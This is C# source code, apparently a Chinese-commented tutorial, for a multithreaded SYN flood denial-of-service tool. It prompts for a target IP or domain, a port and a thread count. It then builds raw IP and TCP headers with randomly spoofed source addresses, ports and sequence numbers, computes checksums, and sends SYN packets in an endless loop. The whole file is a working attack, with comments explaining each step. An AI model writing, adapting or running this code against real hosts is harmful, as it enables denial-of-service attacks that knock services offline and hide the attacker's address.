1 //在工程属性中设置"允许不安全代码"为true 2 ?using System; 3 using System.Net; 4 using System.Net.Sockets; 5 using System.Threading; 6 //需要的命名空间不用解释了吧 7 namespace syn 8 { 9 public struct ipHeader 10 { 11 public byte ip_verlen; //4位首部长度+4位IP版本号 12 public byte ip_tos; //8位服务类型TOS 13 public ushort ip_totallength; //16位数据包总长度(字节) 14 public ushort ip_id; //16位标识 15 public ushort ip_offset; //3位标志位 16 public byte ip_ttl; //8位生存时间 TTL 17 public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) 18 public ushort ip_checksum; //16位IP首部校验和 19 public uint ip_srcaddr; //32位源IP地址 20 public uint ip_destaddr; //32位目的IP地址 21 } 22 public struct psdHeader 23 { 24 public uint saddr; //源地址 25 public uint daddr; //目的地址 26 public byte mbz; 27 public byte ptcl; //协议类型 28 public ushort tcpl; //TCP长度 29 } 30 public struct tcpHeader 31 { 32 public ushort th_sport; //16位源端口 33 public ushort th_dport; //16位目的端口 34 public int th_seq; //32位序列号 35 public uint th_ack; //32位确认号 36 public byte th_lenres; //4位首部长度/6位保留字 37 public byte th_flag; //6位标志位 38 public ushort th_win; //16位窗口大小 39 public ushort th_sum; //16位校验和 40 public ushort th_urp; //16位紧急数据偏移量 41 } 42 //这3个是ip首部tcp伪首部tcp首部的定义。 43 public class syn 44 { 45 private uint ip; 46 private ushort port; 47 private EndPoint ep; 48 private Random rand; 49 private Socket sock; 50 private ipHeader iph; 51 private psdHeader psh; 52 private tcpHeader tch; 53 public UInt16 checksum(UInt16[] buffer, int size) 54 { 55 Int32 cksum = 0; 56 int counter; 57 counter = 0; 58 ? 59 while (size > 0) 60 { 61 UInt16 val = buffer[counter]; 62 ? 63 cksum += Convert.ToInt32(buffer[counter]); 64 counter += 1; 65 size -= 1; 66 } 67 ? 68 cksum = (cksum >> 16) + (cksum & 0xffff); 69 cksum += (cksum >> 16); 70 return (UInt16)(~cksum); 71 } 72 //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样 73 public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand) 74 { 75 ip = _ip; 76 port = _port; 77 ep = _ep; 78 rand = _rand; 79 ipHeader iph = new ipHeader(); 80 psh = new psdHeader(); 81 tch = new tcpHeader(); 82 sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP); 83 sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1); 84 //这2个挺重要,必须这样才可以自己提供ip头 85 } 86 //传参数的多线程需要用到代构造函数的对象。 87 static void Main(string[] args) 88 { 89 Console.WriteLine("1、输入攻击ip或域名"); 90 try 91 { 92 IPHostEntry pe = Dns.GetHostByName(Console.ReadLine()); 93 uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序 94 Console.WriteLine("2、输入攻击端口"); 95 ushort port = ushort.Parse(Console.ReadLine()); 96 IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port); 97 byte[] bt = BitConverter.GetBytes(port); 98 Array.Reverse(bt); 99 port = BitConverter.ToUInt16(bt, 0); 100 //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样 101 Console.WriteLine("3、输入攻击线程,最多50个"); 102 int xiancheng = Int32.Parse(Console.ReadLine()); 103 if (xiancheng < 1 || xiancheng > 50) 104 { 105 Console.WriteLine("必须在1到50之间"); 106 return; 107 } 108 Random rand = new Random(); 109 Thread[] t = new Thread[xiancheng]; 110 syn[] sy = new syn[xiancheng]; 111 for (int i = 0; i < xiancheng; i++) 112 { 113 sy[i] = new syn(ip, port, ep, rand); 114 t[i] = new Thread(new ThreadStart(sy[i].synFS)); 115 t[i].Start(); 116 } 117 //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊 118 } 119 catch 120 { 121 Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确"); 122 return; 123 } 124 ? 125 ? 126 } 127 unsafe public void synFS() 128 { 129 iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint)); 130 //ipv4,20字节ip头,这个固定就是69 131 iph.ip_tos = 0; 132 //这个0就行了 133 iph.ip_totallength = 0x2800; 134 //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800 135 iph.ip_id = 0x9B18; 136 //这个我是拦截ie发送。直接添上来了 137 iph.ip_offset = 0x40; 138 //这个也是拦截ie的 139 iph.ip_ttl = 64; 140 //也是拦截ie的,也可以是128什么的。 141 iph.ip_protocol = 6; 142 //6就是tcp协议 143 iph.ip_checksum = UInt16.Parse("0"); 144 //没计算之前都写0 145 iph.ip_destaddr = ip; 146 //ip头的目标地址就是要攻击的地址,上面传过来的。 147 psh.daddr = iph.ip_destaddr; 148 //伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。 149 psh.mbz = 0; 150 //这个据说0就行 151 psh.ptcl = 6; 152 //6是tcp协议 153 psh.tcpl = 0x1400; 154 //tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400 155 tch.th_dport = port; 156 //攻击端口号,上面传过来的 157 tch.th_ack = 0; 158 //第一次发送所以没有服务器返回的序列号,为0 159 tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0)); 160 //tcp长度 161 tch.th_flag = 2; 162 //2就是syn 163 tch.th_win = ushort.Parse("16614"); 164 //拦截ie的 165 tch.th_sum = UInt16.Parse("0"); 166 //没计算之前都为0 167 tch.th_urp = UInt16.Parse("0"); 168 //这个连ip都是0,新的攻击方法有改这个值的 169 while (true) 170 { 171 iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address); 172 psh.saddr = iph.ip_srcaddr; 173 ushort duankou = Convert.ToUInt16(rand.Next(1, 65535)); 174 byte[] bt = BitConverter.GetBytes(duankou); 175 Array.Reverse(bt); 176 tch.th_sport = BitConverter.ToUInt16(bt, 0); 177 tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646)); 178 //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序 179 ? 180 iph.ip_checksum = 0; 181 tch.th_sum = 0; 182 //因为循环中,所以每次必须把这2个已有数的清0才可计算 183 byte[] psh_buf = new byte[sizeof(psdHeader)]; 184 Int32 index = 0; 185 index = pshto(psh, psh_buf, sizeof(psdHeader)); 186 if (index == -1) 187 { 188 Console.WriteLine("构造tcp伪首部错误"); 189 return; 190 } 191 index = 0; 192 byte[] tch_buf = new byte[sizeof(tcpHeader)]; 193 index = tchto(tch, tch_buf, sizeof(tcpHeader)); 194 if (index == -1) 195 { 196 Console.WriteLine("构造tcp首部错误1"); 197 return; 198 } 199 index = 0; 200 byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)]; 201 Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length); 202 index += psh_buf.Length; 203 Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length); 204 index += tch_buf.Length; 205 tch.th_sum = chec(tcphe, index); 206 index = 0; 207 index = tchto(tch, tch_buf, sizeof(tcpHeader)); 208 if (index == -1) 209 { 210 Console.WriteLine("构造tcp首部错误2"); 211 return; 212 } 213 index = 0; 214 byte[] ip_buf = new byte[sizeof(ipHeader)]; 215 index = ipto(iph, ip_buf, sizeof(ipHeader)); 216 if (index == -1) 217 { 218 Console.WriteLine("构造ip首部错误1"); 219 return; 220 } 221 index = 0; 222 byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)]; 223 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); 224 index += ip_buf.Length; 225 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); 226 index += tch_buf.Length; 227 iph.ip_checksum = chec(iptcp, index); 228 index = 0; 229 index = ipto(iph, ip_buf, sizeof(tcpHeader)); 230 if (index == -1) 231 { 232 Console.WriteLine("构造ip首部错误2"); 233 return; 234 } 235 index = 0; 236 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); 237 index += ip_buf.Length; 238 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); 239 index += tch_buf.Length; 240 if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader))) 241 { 242 Console.WriteLine("构造iptcp报文错误"); 243 return; 244 } 245 //上面这一大堆东西就是计算校验和的方法了,方法是 246 //1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和 247 //2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节 248 //3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和 249 //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦 250 try 251 { 252 ? 253 sock.SendTo(iptcp, ep); 254 //构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了 255 ? 256 } 257 catch 258 { 259 Console.WriteLine("发送错误"); 260 return; 261 } 262 ? 263 ? 264 } 265 ? 266 } 267 public UInt16 chec(byte[] buffer, int size) 268 { 269 Double double_length = Convert.ToDouble(size); 270 Double dtemp = Math.Ceiling(double_length / 2); 271 int cksum_buffer_length = Convert.ToInt32(dtemp); 272 UInt16[] cksum_buffer = new UInt16[cksum_buffer_length]; 273 int icmp_header_buffer_index = 0; 274 for (int i = 0; i < cksum_buffer_length; i++) 275 { 276 cksum_buffer[i] = 277 BitConverter.ToUInt16(buffer, icmp_header_buffer_index); 278 icmp_header_buffer_index += 2; 279 } 280 UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length); 281 return u_cksum; 282 } 283 //这个是计算校验,把那些类型不一样的全转为16位字节数组用的 284 public Int32 ipto(ipHeader iph, byte[] Buffer, int size) 285 { 286 Int32 rtn = 0; 287 int index = 0; 288 byte[] b_verlen = new byte[1]; 289 b_verlen[0] = iph.ip_verlen; 290 byte[] b_tos = new byte[1]; 291 b_tos[0] = iph.ip_tos; 292 byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength); 293 byte[] b_id = BitConverter.GetBytes(iph.ip_id); 294 byte[] b_offset = BitConverter.GetBytes(iph.ip_offset); 295 byte[] b_ttl = new byte[1]; 296 b_ttl[0] = iph.ip_ttl; 297 byte[] b_protol = new byte[1]; 298 b_protol[0] = iph.ip_protocol; 299 byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum); 300 byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr); 301 byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr); 302 Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length); 303 index += b_verlen.Length; 304 Array.Copy(b_tos, 0, Buffer, index, b_tos.Length); 305 index += b_tos.Length; 306 Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length); 307 index += b_totallen.Length; 308 Array.Copy(b_id, 0, Buffer, index, b_id.Length); 309 index += b_id.Length; 310 Array.Copy(b_offset, 0, Buffer, index, b_offset.Length); 311 index += b_offset.Length; 312 Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length); 313 index += b_ttl.Length; 314 Array.Copy(b_protol, 0, Buffer, index, b_protol.Length); 315 index += b_protol.Length; 316 Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length); 317 index += b_checksum.Length; 318 Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length); 319 index += b_srcaddr.Length; 320 Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length); 321 index += b_destaddr.Length; 322 if (index != size/* sizeof(IcmpPacket) */) 323 { 324 rtn = -1; 325 return rtn; 326 } 327 ? 328 rtn = index; 329 return rtn; 330 ? 331 } 332 //这个是把ip部分转为字节数组用的 333 public Int32 pshto(psdHeader psh, byte[] buffer, int size) 334 { 335 Int32 rtn; 336 int index = 0; 337 byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr); 338 byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr); 339 byte[] b_psh_mbz = new byte[1]; 340 b_psh_mbz[0] = psh.mbz; 341 byte[] b_psh_ptcl = new byte[1]; 342 b_psh_ptcl[0] = psh.ptcl; 343 byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl); 344 Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length); 345 index += b_psh_saddr.Length; 346 Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length); 347 index += b_psh_daddr.Length; 348 Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length); 349 index += b_psh_mbz.Length; 350 Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length); 351 index += b_psh_ptcl.Length; 352 Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length); 353 index += b_psh_tcpl.Length; 354 if (index != size) 355 { 356 rtn = -1; 357 return rtn; 358 } 359 else 360 { 361 rtn = index; 362 return rtn; 363 } 364 ? 365 } 366 //这个是把tcp伪首部转为字节数组用的 367 public Int32 tchto(tcpHeader tch, byte[] buffer, int size) 368 { 369 Int32 rtn; 370 int index = 0; 371 byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport); 372 byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport); 373 byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq); 374 byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack); 375 byte[] b_tch_lenres = new byte[1]; 376 b_tch_lenres[0] = tch.th_lenres; 377 byte[] b_tch_flag = new byte[1]; 378 b_tch_flag[0] = tch.th_flag; 379 byte[] b_tch_win = BitConverter.GetBytes(tch.th_win); 380 byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum); 381 byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp); 382 Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length); 383 index += b_tch_sport.Length; 384 Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length); 385 index += b_tch_dport.Length; 386 Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length); 387 index += b_tch_seq.Length; 388 Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length); 389 index += b_tch_ack.Length; 390 Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length); 391 index += b_tch_lenres.Length; 392 Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length); 393 index += b_tch_flag.Length; 394 Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length); 395 index += b_tch_win.Length; 396 Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length); 397 index += b_tch_sum.Length; 398 Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length); 399 index += b_tch_urp.Length; 400 if (index != size) 401 { 402 rtn = -1; 403 return rtn; 404 } 405 else 406 { 407 rtn = index; 408 return rtn; 409 } 410 } 411 //这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。 412 } 413 }